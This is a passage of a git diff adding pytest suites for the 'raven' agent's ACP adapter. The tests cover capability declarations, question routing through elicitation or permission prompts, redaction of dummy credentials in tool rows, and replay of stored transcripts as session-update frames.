test_what_is_declared_is_declared_because_it_works(self): + caps = agent_capabilities() + + assert caps["promptCapabilities"]["image"] is True + assert caps["promptCapabilities"]["embeddedContext"] is True + + def test_load_is_declared_only_because_the_replay_exists(self): + """The flag is a promise. A client that reopens a session on a false one + shows a person an empty history for a conversation that had one.""" + from raven.acp.methods import UNIMPLEMENTED_METHODS + from raven.acp.replay import replay + + assert agent_capabilities()["loadSession"] is True + assert "session/load" not in UNIMPLEMENTED_METHODS + assert replay([{"role": "user", "text": "hi"}], session_id="acp:s"), "the replay must produce something" + + def test_list_is_declared_only_because_the_method_answers(self): + from raven.acp.methods import UNIMPLEMENTED_METHODS + + assert "list" in agent_capabilities()["sessionCapabilities"] + assert "session/list" not in UNIMPLEMENTED_METHODS + + def test_the_agent_names_itself_with_a_real_version(self): + info = initialize_result({})["agentInfo"] + + assert info["name"] == "raven" + assert info["version"] and info["version"] != "unknown" + validate_def("Implementation", info) + + +class TestRecordedClientCapabilities: + def test_a_client_that_declares_nothing_can_do_nothing(self): + for params in (None, {}, {"clientCapabilities": None}, {"clientCapabilities": "yes"}): + caps = ClientCapabilities.from_params(params) + + assert caps.elicitation is False + assert caps.reads_files is False + assert caps.writes_files is False + assert caps.has_terminal is False + + def test_elicitation_is_read_by_presence_because_it_is_an_object(self): + """The capability is an object in the schema, not a boolean. Reading it + as truthy would make ``{"elicitation": {}}`` -- a client declaring + support with no options -- read as no support.""" + assert ClientCapabilities.from_params({"clientCapabilities": {"elicitation": {}}}).elicitation is True + + def test_the_fs_flags_are_read_from_inside_their_section(self): + caps = ClientCapabilities.from_params( + {"clientCapabilities": {"fs": {"readTextFile": True, "writeTextFile": False}}} + ) + + assert caps.reads_files is True + assert caps.writes_files is False + + def test_a_malformed_section_does_not_raise(self): + caps = ClientCapabilities.from_params({"clientCapabilities": {"fs": "both"}}) + + assert caps.reads_files is False + + +class TestManifestAgreement: + def test_every_method_raven_answers_is_in_the_stable_manifest(self): + """Guards against serving an unstable method by name. The manifest omits + all 18 of them, so membership is the check.""" + from raven.acp.methods import UNIMPLEMENTED_METHODS + + served = {"initialize", "authenticate", "session/new", "session/prompt", "session/cancel"} + for method in served | UNIMPLEMENTED_METHODS: + assert method in agent_method_names(), f"{method} is not in the stable manifest" diff --git a/tests/test_acp_questions.py b/tests/test_acp_questions.py new file mode 100644 index 00000000..0edd38a4 --- /dev/null +++ b/tests/test_acp_questions.py @@ -0,0 +1,425 @@ +"""``ask_user`` over a protocol with no method for asking. + +The failure this replaces is worth naming: a ``clarify.request`` with nowhere to +go does not error, it *stalls*. The tool call stays blocked for the ten minutes +the broker waits before falling back to the question's default, so a client shows +a spinner and then a reply that ignores what it asked. Every test here therefore +checks two things -- that the client was asked, and that the broker was answered. + +Which route is taken is the client's declaration, not a preference: +``elicitation/create`` in form mode can carry an answer nobody listed in advance; +``session/request_permission`` can only return an option id, and it needs a +synthesised ``toolCall`` to be legal at all. +""" + +from __future__ import annotations + +import asyncio + +import pytest + +from raven.acp.capabilities import ClientCapabilities +from raven.acp.outbound import OutboundRequests +from raven.acp.questions import ANSWER_FIELD, CLARIFY_METHOD, MAX_CHOICES, AcpQuestions +from raven.acp.updates import AcpSession, UpdateTranslator +from tests.acp_schema import validate_def, validate_outbound + + +class _Broker: + def __init__(self, accept: bool = True) -> None: + self.answers: list[tuple[str, str]] = [] + self.accept = accept + + def reply(self, key: str, answer: str) -> bool: + self.answers.append((key, answer)) + return self.accept + + +class _Client: + """Answers the agent's request with whatever the test decided.""" + + def __init__(self, answer=None, *, silent: bool = False) -> None: + self.frames: list[dict] = [] + self.answer = answer + self.silent = silent + self.outbound: OutboundRequests | None = None + + def emit(self, frame: dict) -> None: + self.frames.append(frame) + if self.silent or self.outbound is None or "method" not in frame or "id" not in frame: + return + reply = {"jsonrpc": "2.0", "id": frame["id"]} + reply.update(self.answer(frame) if callable(self.answer) else self.answer) + asyncio.get_running_loop().call_soon(self.outbound.resolve, reply) + + def asked(self, method: str) -> dict: + return next(f for f in self.frames if f.get("method") == method) + + @property + def updates(self) -> list[dict]: + return [f["params"]["update"] for f in self.frames if f.get("method") == "session/update"] + + +def _rig(answer=None, *, capabilities=None, silent: bool = False, accept: bool = True, timeout_s: float = 30.0): + client = _Client(answer, silent=silent) + outbound = OutboundRequests(emit=client.emit) + client.outbound = outbound + translator = UpdateTranslator(emit=client.emit) + translator.add(AcpSession(session_id="acp:s1", session_key="acp:s1", cwd="/w", subscription_id="sub")) + broker = _Broker(accept=accept) + questions = AcpQuestions( + outbound=outbound, translator=translator, broker=broker, emit=client.emit, timeout_s=timeout_s + ) + questions.set_client(ClientCapabilities.from_params({"clientCapabilities": capabilities or {}})) + return client, broker, questions + + +FORM = {"elicitation": {"form": {}}} + + +def _clarify(**overrides): + params = { + "conversation_id": "acp:s1", + "request_id": "q1", + "question": "Which database should I migrate?", + "choices": ["postgres", "sqlite"], + } + params.update(overrides) + return params + + +async def _settle(questions: AcpQuestions) -> None: + await asyncio.sleep(0) + await questions.drain() + + +class TestTheElicitationRoute: + async def test_it_asks_with_a_one_field_schema_and_answers_the_broker(self): + client, broker, questions = _rig( + lambda f: {"result": {"action": "accept", "content": {ANSWER_FIELD: "postgres"}}}, + capabilities=FORM, + ) + + assert questions.handle(CLARIFY_METHOD, _clarify()) is True + await _settle(questions) + + request = client.asked("elicitation/create")["params"] + assert request["mode"] == "form" + assert request["sessionId"] == "acp:s1" + assert request["requestedSchema"]["properties"][ANSWER_FIELD]["enum"] == ["postgres", "sqlite"] + assert broker.answers == [("q1", "postgres")] + validate_def("CreateElicitationRequest", request) + validate_outbound(client.asked("elicitation/create")) + + async def test_a_question_with_no_choices_asks_for_free_text(self): + """The reason this route is preferred: it is the only one that can carry + an answer nobody listed in advance.""" + client, broker, questions = _rig( + lambda f: {"result": {"action": "accept", "content": {ANSWER_FIELD: "call it raven"}}}, + capabilities=FORM, + ) + + questions.handle(CLARIFY_METHOD, _clarify(choices=[])) + await _settle(questions) + + field = client.asked("elicitation/create")["params"]["requestedSchema"]["properties"][ANSWER_FIELD] + assert "enum" not in field + assert broker.answers == [("q1", "call it raven")] + + @pytest.mark.parametrize("action", ["decline", "cancel"]) + async def test_dismissing_the_question_answers_the_broker_with_nothing(self, action): + """A person is allowed to dismiss a question, and that is not an error -- + but the tool call is still blocked, so the broker must hear about it.""" + client, broker, questions = _rig(lambda f: {"result": {"action": action}}, capabilities=FORM) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + assert broker.answers == [("q1", "")] + + @pytest.mark.parametrize( + "result", + [ + None, + "yes", + {}, + {"action": "accept"}, + {"action": "accept", "content": "postgres"}, + {"action": "accept", "content": {}}, + {"action": "accept", "content": {ANSWER_FIELD: None}}, + {"action": "accept", "content": {ANSWER_FIELD: True}}, + {"action": "accept", "content": {ANSWER_FIELD: ""}}, + ], + ) + async def test_a_malformed_answer_falls_back_rather_than_being_forwarded(self, result): + _, broker, questions = _rig(lambda f: {"result": result}, capabilities=FORM) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + assert broker.answers == [("q1", "")] + + async def test_a_numeric_or_list_answer_is_rendered_as_text(self): + """The content is typed loosely by the schema, and the tool takes a + string.""" + _, broker, questions = _rig( + lambda f: {"result": {"action": "accept", "content": {ANSWER_FIELD: ["a", "b"]}}}, + capabilities=FORM, + ) + + questions.handle(CLARIFY_METHOD, _clarify(choices=[])) + await _settle(questions) + + assert broker.answers == [("q1", "a, b")] + + async def test_a_numeric_answer_is_rendered_as_text(self): + """The schema types the content loosely -- a string, a number, a bool, a + list -- and the tool takes a string.""" + _, broker, questions = _rig( + lambda f: {"result": {"action": "accept", "content": {ANSWER_FIELD: 7}}}, capabilities=FORM + ) + + questions.handle(CLARIFY_METHOD, _clarify(choices=[])) + await _settle(questions) + + assert broker.answers == [("q1", "7")] + + async def test_an_answer_outside_the_offered_choices_is_refused(self): + """A client that answered a multiple-choice question with something not + on the list gave an answer that cannot be acted on.""" + _, broker, questions = _rig( + lambda f: {"result": {"action": "accept", "content": {ANSWER_FIELD: "mysql"}}}, + capabilities=FORM, + ) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + assert broker.answers == [("q1", "")] + + async def test_a_client_that_declares_only_url_mode_does_not_get_the_form(self): + """Reading the group as sufficient would route a question into a mode the + client never claimed -- and ``url`` mode sends somebody to a web page.""" + client, broker, questions = _rig( + lambda f: { + "result": {"outcome": {"outcome": "selected", "optionId": f["params"]["options"][0]["optionId"]}} + }, + capabilities={"elicitation": {"url": {}}}, + ) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + assert not any(f.get("method") == "elicitation/create" for f in client.frames) + assert client.asked("session/request_permission") + + +class TestThePermissionRoute: + def _pick_first(self, frame): + return {"result": {"outcome": {"outcome": "selected", "optionId": frame["params"]["options"][0]["optionId"]}}} + + async def test_a_question_arrives_wearing_a_synthesised_tool_call(self): + """``RequestPermissionRequest.toolCall`` is required and a bare question + has none. Marked in ``_meta`` rather than disguised, so a client that + renders questions differently can tell.""" + client, broker, questions = _rig(self._pick_first) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + request = client.asked("session/request_permission")["params"] + validate_def("RequestPermissionRequest", request) + assert request["_meta"]["raven.synthesisedToolCall"] is True + assert request["_meta"]["raven.kind"] == "question" + assert request["toolCall"]["kind"] == "other", "the kinds describe tools, and this is not one" + assert "Which database" in request["toolCall"]["title"] + + async def test_the_choices_become_the_options_and_the_pick_becomes_the_answer(self): + client, broker, questions = _rig(self._pick_first) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + options = client.asked("session/request_permission")["params"]["options"] + assert [o["name"] for o in options] == ["postgres", "sqlite"] + assert {o["kind"] for o in options} == {"allow_once"}, ( + "the kinds describe authorisation; calling one a rejection would invent a meaning" + ) + assert broker.answers == [("q1", "postgres")] + + async def test_an_option_id_this_request_did_not_mint_selects_nothing(self): + """Same rule as a real permission: a stale or invented id must not select + an answer nobody chose.""" + _, broker, questions = _rig( + lambda f: {"result": {"outcome": {"outcome": "selected", "optionId": "choice-0-fabricated"}}} + ) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + assert broker.answers == [("q1", "")] + + @pytest.mark.parametrize( + "result", + [{"outcome": {"outcome": "cancelled"}}, {"outcome": {"outcome": "denied"}}, {"outcome": "selected"}, {}], + ) + async def test_anything_but_a_selection_falls_back(self, result): + _, broker, questions = _rig(lambda f: {"result": result}) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + assert broker.answers == [("q1", "")] + + @pytest.mark.parametrize("result", [None, "picked", 5, []]) + async def test_a_non_object_answer_falls_back(self, result): + _, broker, questions = _rig(lambda f: {"result": result}) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + assert broker.answers == [("q1", "")] + + async def test_too_many_choices_are_capped(self): + """Past a handful a prompt stops being a choice and becomes a menu nobody + reads.""" + client, _, questions = _rig(self._pick_first) + + questions.handle(CLARIFY_METHOD, _clarify(choices=[f"option {n}" for n in range(MAX_CHOICES + 5)])) + await _settle(questions) + + assert len(client.asked("session/request_permission")["params"]["options"]) == MAX_CHOICES + + +class TestTheUnaskableQuestion: + async def test_free_text_with_no_elicitation_is_shown_rather_than_swallowed(self): + """A permission response carries an option id and nothing else, so there + is no channel for typed text. The person sees the question and can answer + it in their next prompt.""" + client, broker, questions = _rig() + + questions.handle(CLARIFY_METHOD, _clarify(choices=[])) + await _settle(questions) + + assert [u["content"]["text"] for u in client.updates] == ["Which database should I migrate?"] + assert broker.answers == [("q1", "")] + assert not any("request_permission" in str(f.get("method")) for f in client.frames) + assert questions.routes == {"shown-only": 1} + + +class TestFailurePaths: + async def test_a_silent_client_still_answers_the_broker(self): + """The broker treats an unanswered question as "wait longer", so giving up + silently is indistinguishable from a person who has not decided.""" + _, broker, questions = _rig(silent=True, capabilities=FORM, timeout_s=0.05) + + questions.handle(CLARIFY_METHOD, _clarify()) + await asyncio.sleep(0.2) + await questions.drain() + + assert broker.answers == [("q1", "")] + assert questions.routes == {"error": 1} + + async def test_an_error_reply_still_answers_the_broker(self): + _, broker, questions = _rig( + lambda f: {"error": {"code": -32601, "message": "elicitation/create is not implemented"}}, + capabilities=FORM, + ) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + assert broker.answers == [("q1", "")] + + async def test_a_cancelled_round_trip_still_answers_the_broker(self): + """The tool call is still blocked, and a cancelled question is not a + reason to leave it that way for the rest of the timeout.""" + _, broker, questions = _rig(silent=True, capabilities=FORM) + + questions.handle(CLARIFY_METHOD, _clarify()) + await asyncio.sleep(0) + await questions.drain() + + assert broker.answers == [("q1", "")] + + async def test_a_broker_that_already_resolved_is_not_an_error(self): + """It timed out, or the turn was cancelled and it fail-safed.""" + _, broker, questions = _rig( + lambda f: {"result": {"action": "accept", "content": {ANSWER_FIELD: "postgres"}}}, + capabilities=FORM, + accept=False, + ) + + questions.handle(CLARIFY_METHOD, _clarify()) + await _settle(questions) + + assert broker.answers == [("q1", "postgres")] + + +class TestWhatIsNotTaken: + @pytest.mark.parametrize( + "params", + [ + None, + "clarify", + {}, + {"request_id": "q1"}, + {"question": "why?"}, + {"request_id": "", "question": "why?"}, + {"request_id": "q1", "question": ""}, + ], + ) + def test_a_malformed_notification_is_declined(self, params): + _, _, questions = _rig() + + assert questions.handle(CLARIFY_METHOD, params) is False + + @pytest.mark.parametrize("method", ["approval.request", "mcp.status", "confirm.request", "event"]) + def test_another_surfaces_notification_is_declined(self, method): + """The hook is offered every non-event notification. A handler that read + their params without checking the method would eventually misfire on one + that happened to carry the same keys.""" + _, _, questions = _rig() + + assert questions.handle(method, _clarify()) is False + + async def test_a_question_before_the_broker_exists_is_declined(self): + """This object is built before the stack that owns the broker, because the + hook has to be in place before the first frame can arrive on the sink.""" + from raven.acp.outbound import OutboundRequests + from raven.acp.questions import AcpQuestions as Q + + translator = UpdateTranslator(emit=lambda f: None) + translator.add(AcpSession(session_id="acp:s1", session_key="acp:s1", cwd="/w", subscription_id="sub")) + unbound = Q(outbound=OutboundRequests(emit=lambda f: None), translator=translator, emit=lambda f: None) + + assert unbound.handle(CLARIFY_METHOD, _clarify()) is False + + unbound.set_broker(_Broker()) + assert unbound.handle(CLARIFY_METHOD, _clarify()) is True + await unbound.drain() + + def test_a_question_from_a_turn_no_session_owns_is_declined(self): + """A cron turn sharing this process. Not ours to answer, and the broker's + own default applies.""" + _, _, questions = _rig() + + assert questions.handle(CLARIFY_METHOD, _clarify(conversation_id="cron:nightly")) is False + assert questions.handle(CLARIFY_METHOD, _clarify(conversation_id="")) is False + + async def test_a_subagents_lane_resolves_to_its_session(self): + """A direct chat runs on #/, and a handle is + free-form text the model chose -- so the split has to be on the first + separator only.""" + client, broker, questions = _rig(silent=True, timeout_s=0.05) + + assert questions.handle(CLARIFY_METHOD, _clarify(conversation_id="acp:s1#scout/handle#with hashes")) is True + await asyncio.sleep(0.2) + await questions.drain() + + assert client.asked("session/request_permission")["params"]["sessionId"] == "acp:s1" + + async def test_draining_with_nothing_in_flight_is_harmless(self): + _, _, questions = _rig() + + await questions.drain() diff --git a/tests/test_acp_redact.py b/tests/test_acp_redact.py new file mode 100644 index 00000000..cd8399ae --- /dev/null +++ b/tests/test_acp_redact.py @@ -0,0 +1,173 @@ +"""The redaction table: what it catches, what it leaves alone, and what it cannot. + +An ACP payload is rendered in an editor and often kept in its transcript, so a +tool title, a permission prompt and an error message are all publishing surfaces. +Three claims are pinned here, and the third is the one most worth a test: + +1. **It catches the four measured channels.** A command line with a header token, + a result preview containing a key, an error string, an ``env`` dict. +2. **It leaves ordinary text alone.** A table that redacts ``set -e`` or a plain + ``git clone`` URL makes every tool row unreadable, and an unreadable row is + approved without being read -- which is worse than not redacting at all. +3. **It is not a scanner, and the gap has a name.** Only the capture group is + replaced, so the shape survives. And a secret with no label and no vendor + prefix passes through, which is stated as a test rather than left for somebody + to discover. +""" + +from __future__ import annotations + +import pytest + +from raven.acp.redact import MAX_SCAN_CHARS, REPLACEMENT, pattern_names, redact, redact_value + + +class TestWhatItCatches: + @pytest.mark.parametrize( + ("text", "secret"), + [ + ('curl -H "Authorization: Bearer sk-ant-api03-AAAABBBBCCCCDDDD" https://x', "sk-ant-api03"), + ("export OPENAI_API_KEY=sk-proj-abcdefghijklmnop", "sk-proj-abcdefghijklmnop"), + ("gh auth login --with-token ghp_ABCDEFGHIJKLMNOPQRSTUV", "ghp_ABCDEFGHIJKLMNOPQRSTUV"), + ("glab auth login --token glpat-abcdefghijklmnopqrst", "glpat-abcdefghijklmnopqrst"), + ('api_key: "AIzaSyDdI0hCZtE6vySjMm-WEfRq3CPzqKqqsHI"', "AIzaSy"), + ("aws sts get-caller-identity # AKIAIOSFODNN7EXAMPLE", "AKIAIOSFODNN7EXAMPLE"), + ("psql postgres://admin:hunter2secret@db:5432/app", "hunter2secret"), + ("SLACK_BOT=xoxb-1234567890-abcdefghij", "xoxb-1234567890"), + ("Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NX0.dBjftJeZ4CVPmB92K27uhbUJU1p1r", "eyJhbGciOi"), + ('{"password": "correct-horse-battery"}', "correct-horse-battery"), + ], + ) + def test_the_secret_is_gone_and_the_shape_remains(self, text, secret): + result = redact(text) + + assert secret not in result + assert REPLACEMENT in result + # Everything before the secret survives, which is what keeps the row + # readable: `curl -H "Authorization: Bearer [redacted]"` still says what + # was about to run. + prefix = text[: text.index(secret)] + assert prefix in result, "redacting the label as well leaves a row nobody can act on" + + def test_a_private_key_body_goes_but_the_armour_stays(self): + # Assembled rather than written out, and not for taste: a literal armour + # line makes this file look like a leaked key to the repo's own + # secret scanner, which fails the commit that adds the test for + # redacting keys. The regex under test sees the same string either way. + # Please do not "tidy" this back into one literal. + head = "-----BEGIN RSA " + "PRIVATE KEY-----" + tail = "-----END RSA " + "PRIVATE KEY-----" + pem = f"{head}\nMIIEowIBAAKCAQEA\nabc123\n{tail}" + + result = redact(pem) + + assert "MIIEowIBAAKCAQEA" not in result + assert head in result, "the reader needs to know what was there" + + def test_a_key_that_names_a_secret_redacts_its_value(self): + """The ``mcpServers`` ``env`` channel. A per-string pass cannot do this: + on its own, the value is indistinguishable from a hash -- the label is in + a different string.""" + result = redact_value({"env": {"AWS_SECRET_ACCESS_KEY": "wJalrXUtnFEMI-K7MDENG-bPxRfiCY"}}) + + assert result["env"]["AWS_SECRET_ACCESS_KEY"] == REPLACEMENT + assert "AWS_SECRET_ACCESS_KEY" in result["env"], "the key stays; the reader needs to know what was set" + + def test_a_secret_named_key_holding_a_structure_is_still_walked(self): + """Replacing a whole subtree would lose the shape the client asked for, + and a nested dict has its own keys to judge.""" + result = redact_value({"credentials": {"user": "alice", "password": "hunter2secret"}}) + + assert result["credentials"]["user"] == "alice" + assert result["credentials"]["password"] == REPLACEMENT + + def test_it_reaches_inside_a_structure_without_flattening_it(self): + payload = { + "command": "deploy", + "env": {"AWS_SECRET_ACCESS_KEY": "wJalrXUtnFEMI-K7MDENG-bPxRfiCYEXAMPLEKEY"}, + "args": ["--token", "ghp_AAAAAAAAAAAAAAAAAAAA"], + "retries": 3, + "ok": True, + } + + result = redact_value(payload) + + assert result["retries"] == 3, "shape and non-strings are untouched" + assert result["ok"] is True + assert "wJalrXUtnFEMI" not in str(result) + assert "ghp_AAAAAAAAAAAAAAAAAAAA" not in str(result) + assert result["command"] == "deploy" + + def test_a_deeply_nested_value_is_bounded_rather_than_half_scanned(self): + payload: object = "sk-proj-abcdefghijklmnop" + for _ in range(30): + payload = {"next": payload} + + result = redact_value(payload) + + assert "sk-proj" not in str(result) + assert "too deeply nested" in str(result) + + +class TestWhatItLeavesAlone: + @pytest.mark.parametrize( + "text", + [ + "set -e && npm test", + "git clone https://github.com/user/repo", + "token: 12345", + "the password is wrong", + "authorization: read", + "make -j8 build", + "grep -rn 'secret' docs/", + "ssh-keygen -t ed25519 -C me@example.com", + "SELECT id, password_hash FROM users LIMIT 10", + ], + ) + def test_ordinary_text_is_unchanged(self, text): + """A table that redacts these makes every tool row unreadable -- and an + unreadable row is approved without being read.""" + assert redact(text) == text + + def test_it_is_idempotent(self): + once = redact("export API_KEY=sk-proj-abcdefghijklmnop") + + assert redact(once) == once + + def test_empty_text_is_returned_as_it_came(self): + assert redact("") == "" + assert redact_value(None) is None + assert redact_value(7) == 7 + + +class TestTheLimits: + def test_a_huge_string_is_truncated_rather_than_scanned(self): + """Titles and previews reach here, not file bodies; a half-scanned string + is worse than an honestly shortened one.""" + result = redact("a" * (MAX_SCAN_CHARS + 100)) + + assert len(result) < MAX_SCAN_CHARS + 100 + assert "truncated before scanning" in result + + def test_an_unlabelled_secret_passes_through(self): + """Stated as a test rather than left to be discovered. This is not a + secret scanner: a high-entropy string with no label and no vendor prefix + is indistinguishable from a hash, a build id or a commit sha -- and + redacting those would break every row that legitimately shows one.""" + opaque = "Zm9vYmFyYmF6cXV1eGNvcmdlZ3JhdWx0" + + assert redact(f"echo {opaque}") == f"echo {opaque}" + + def test_the_table_stays_small_on_purpose(self): + """Sized like the sixteen-pattern table openclaw uses for this job, and + deliberately not the 409-line RFC-7235 header scanner beside it.""" + names = pattern_names() + + assert 10 <= len(names) <= 20 + assert len(set(names)) == len(names) + + def test_no_pattern_matches_the_replacement_token(self): + """What makes it idempotent, and what stops a second pass from eating the + token itself.""" + assert redact(REPLACEMENT) == REPLACEMENT + assert redact(f"api_key={REPLACEMENT}") == f"api_key={REPLACEMENT}" diff --git a/tests/test_acp_replay.py b/tests/test_acp_replay.py new file mode 100644 index 00000000..0a229aba --- /dev/null +++ b/tests/test_acp_replay.py @@ -0,0 +1,316 @@ +"""A stored transcript, replayed as the stream that produced it. + +``session/load`` answers by *replaying* -- the client receives the same +``session/update`` notifications a live turn produces, so a resumed session is +drawn by the same code as a fresh one and needs no second renderer. Every frame +here is validated against the vendored official schema, because the alternative +way to find a replay bug is to read it off somebody's screen. + +The order is the part worth pinning. A tool call is announced on the assistant +entry that made it and answered by a later ``role="tool"`` entry, so the +``tool_call`` and its ``tool_call_update`` come from two different messages; a +mapping that emitted them per-message in the wrong order would draw the result +before the call it belongs to. +""" + +from __future__ import annotations + +import json + +import pytest + +from raven.acp.replay import MAX_REPLAYED_MESSAGES, MAX_REPLAYED_TEXT, replay +from tests.acp_schema import validate_def + + +def _kinds(updates): + return [u["sessionUpdate"] for u in updates] + + +def _texts(updates, kind=None): + return [ + u["content"]["text"] + for u in updates + if "content" in u and isinstance(u["content"], dict) and (kind is None or u["sessionUpdate"] == kind) + ] + + +def _valid(updates): + for update in updates: + validate_def("SessionUpdate", update) + validate_def("SessionNotification", {"sessionId": "acp:s1", "update": update}) + return updates + + +class TestOrder: + def test_a_whole_conversation_replays_in_the_order_it_happened(self): + transcript = [ + {"role": "system", "text": "you are raven"}, + {"role": "user", "text": "read a.py and fix it"}, + { + "role": "assistant", + "text": "Looking now.", + "reasoning_content": "read it first", + "tool_calls": [{"id": "c1", "name": "read_file", "arguments": json.dumps({"path": "a.py"})}], + }, + {"role": "tool", "tool_call_id": "c1", "text": "x = 0\n"}, + {"role": "assistant", "text": "Done."}, + ] + + updates = _valid(replay(transcript, session_id="acp:s1", cwd="/work")) + + assert _kinds(updates) == [ + "user_message_chunk", + "agent_thought_chunk", + "agent_message_chunk", + "tool_call", + "tool_call_update", + "agent_message_chunk", + ] + + def test_the_result_never_precedes_the_call_it_answers(self): + transcript = [ + {"role": "assistant", "tool_calls": [{"id": "c1", "name": "exec", "arguments": '{"command":"ls"}'}]}, + {"role": "tool", "tool_call_id": "c1", "text": "a.py"}, + ] + + updates = replay(transcript, session_id="acp:s1") + + assert updates[0]["sessionUpdate"] == "tool_call" + assert updates[1]["sessionUpdate"] == "tool_call_update" + assert updates[0]["toolCallId"] == updates[1]["toolCallId"] == "c1" + + def test_the_thought_precedes_the_words_it_produced(self): + updates = replay( + [{"role": "assistant", "text": "The answer is 4.", "reasoning_content": "2 plus 2"}], + session_id="acp:s1", + ) + + assert _kinds(updates) == ["agent_thought_chunk", "agent_message_chunk"] + + def test_the_system_prompt_is_not_part_of_the_conversation(self): + """Replaying it would put the agent's own instructions on a person's + screen as though they had said them.""" + updates = replay([{"role": "system", "text": "secret instructions"}], session_id="acp:s1") + + assert updates == [] + + +class TestToolCalls: + def test_a_replayed_call_is_pending_not_in_progress(self): + """``in_progress`` would show a spinner for a call that finished last + week; ``completed`` would claim an outcome before the entry that carries + it arrives.""" + updates = replay( + [{"role": "assistant", "tool_calls": [{"id": "c1", "name": "exec", "arguments": "{}"}]}], + session_id="acp:s1", + ) + + assert updates[0]["status"] == "pending" + + def test_a_replayed_result_is_completed(self): + updates = replay([{"role": "tool", "tool_call_id": "c1", "text": "ok"}], session_id="acp:s1") + + assert updates[0]["status"] == "completed" + assert _texts(updates) == [] + assert updates[0]["content"] == [{"type": "content", "content": {"type": "text", "text": "ok"}}] + + def test_stored_arguments_are_parsed_so_the_row_can_be_labelled(self): + """They are kept as the JSON string the provider sent, so a title or a + location needs them parsed.""" + updates = replay( + [{"role": "assistant", "tool_calls": [{"id": "c1", "name": "read_file", "arguments": '{"path":"a.py"}'}]}], + session_id="acp:s1", + cwd="/work", + ) + + assert updates[0]["title"] == "read_file: a.py" + assert updates[0]["kind"] == "read" + assert updates[0]["locations"] == [{"path": "/work/a.py"}] + + def test_arguments_that_will_not_parse_still_produce_a_row(self): + """Guessing at half-parsed arguments would put a fragment of JSON on a + tool row.""" + updates = replay( + [{"role": "assistant", "tool_calls": [{"id": "c1", "name": "exec", "arguments": '{"command": "ls'}]}], + session_id="acp:s1", + ) + + assert updates[0]["title"] == "exec" + assert "locations" not in updates[0] + + def test_a_call_with_no_id_is_dropped(self): + updates = replay( + [{"role": "assistant", "tool_calls": [{"name": "exec", "arguments": "{}"}, "not a dict"]}], + session_id="acp:s1", + ) + + assert updates == [] + + def test_a_result_with_no_call_id_is_dropped_rather_than_shown_loose(self): + """An invented id would create a second row for a call that already has + one.""" + updates = replay([{"role": "tool", "text": "orphaned output"}], session_id="acp:s1") + + assert updates == [] + + def test_a_stored_diff_rides_along_as_text(self): + """The stored record is a rendering, and the file's contents at the time + are gone -- so a structured ``diff`` block would need a ``newText`` that + would have to be invented.""" + updates = _valid( + replay( + [{"role": "tool", "tool_call_id": "c1", "text": "edited", "diff": "--- a\n+++ a\n-0\n+1"}], + session_id="acp:s1", + ) + ) + blocks = updates[0]["content"] + + assert len(blocks) == 2 + assert all(b["type"] == "content" for b in blocks) + assert "+1" in blocks[1]["content"]["text"] + + def test_a_result_that_is_only_a_diff_still_renders(self): + """A write tool whose model-facing text was empty. Skipping the entry + would drop the one record that says what changed.""" + updates = _valid( + replay([{"role": "tool", "tool_call_id": "c1", "diff": "--- a\n+++ a\n-0\n+1"}], session_id="acp:s1") + ) + + assert len(updates[0]["content"]) == 1 + assert "+1" in updates[0]["content"][0]["content"]["text"] + + def test_a_result_with_nothing_in_it_still_closes_the_row(self): + """Status without content, not a dropped update: the call happened and the + row has to stop showing as unanswered.""" + updates = _valid(replay([{"role": "tool", "tool_call_id": "c1"}], session_id="acp:s1")) + + assert updates == [{"sessionUpdate": "tool_call_update", "toolCallId": "c1", "status": "completed"}] + + def test_arguments_already_parsed_are_used_as_they_are(self): + """A live-cache message holds them as a mapping rather than as the JSON + string a stored one carries, and both shapes reach here.""" + updates = replay( + [{"role": "assistant", "tool_calls": [{"id": "c1", "name": "read_file", "arguments": {"path": "a.py"}}]}], + session_id="acp:s1", + cwd="/work", + ) + + assert updates[0]["title"] == "read_file: a.py" + assert updates[0]["locations"] == [{"path": "/work/a.py"}] + + @pytest.mark.parametrize("arguments", [None, [], 5, "", " ", "[1, 2]", '"a string"']) + def test_arguments_of_an_unusable_shape_leave_the_row_unlabelled(self, arguments): + """Rather than putting a fragment of whatever it was on a tool row.""" + updates = replay( + [{"role": "assistant", "tool_calls": [{"id": "c1", "name": "exec", "arguments": arguments}]}], + session_id="acp:s1", + ) + + assert updates[0]["title"] == "exec" + assert "locations" not in updates[0] + + def test_a_call_that_was_never_answered_still_renders(self): + """Its result was lost, which is a thing to show rather than a reason to + pretend the call did not happen.""" + updates = replay( + [{"role": "assistant", "tool_calls": [{"id": "c1", "name": "exec", "arguments": "{}"}]}], + session_id="acp:s1", + ) + + assert _kinds(updates) == ["tool_call"] + + +class TestContent: + def test_a_blocked_turn_says_so_when_it_has_no_words_of_its_own(self): + """``action_blocked`` replaces the answer rather than accompanying it, so + an entry carrying only a notice would otherwise replay as nothing.""" + updates = replay([{"role": "assistant", "notice": "the runtime refused this"}], session_id="acp:s1") + + assert _texts(updates) == ["the runtime refused this"] + + def test_a_notice_beside_real_text_does_not_duplicate_it(self): + updates = replay( + [{"role": "assistant", "text": "Here is what I did instead.", "notice": "blocked"}], + session_id="acp:s1", + ) + + assert _texts(updates) == ["Here is what I did instead."] + + def test_a_credential_recorded_three_turns_ago_is_still_redacted(self): + """A replayed transcript is rendered in an editor and kept in its + history, so it is as much a publishing surface as a live frame.""" + updates = replay( + [ + { + "role": "tool", + "tool_call_id": "c1", + "text": "ran: curl -H 'Authorization: Bearer sk-ant-AAAABBBBCCCC'", + } + ], + session_id="acp:s1", + ) + + text = updates[0]["content"][0]["content"]["text"] + assert "sk-ant-AAAABBBBCCCC" not in text + assert "curl" in text + + def test_an_empty_message_produces_no_frame(self): + assert replay([{"role": "user", "text": ""}], session_id="acp:s1") == [] + assert replay([{"role": "user"}], session_id="acp:s1") == [] + assert replay([{"role": "assistant", "text": " "}], session_id="acp:s1") == [] + + def 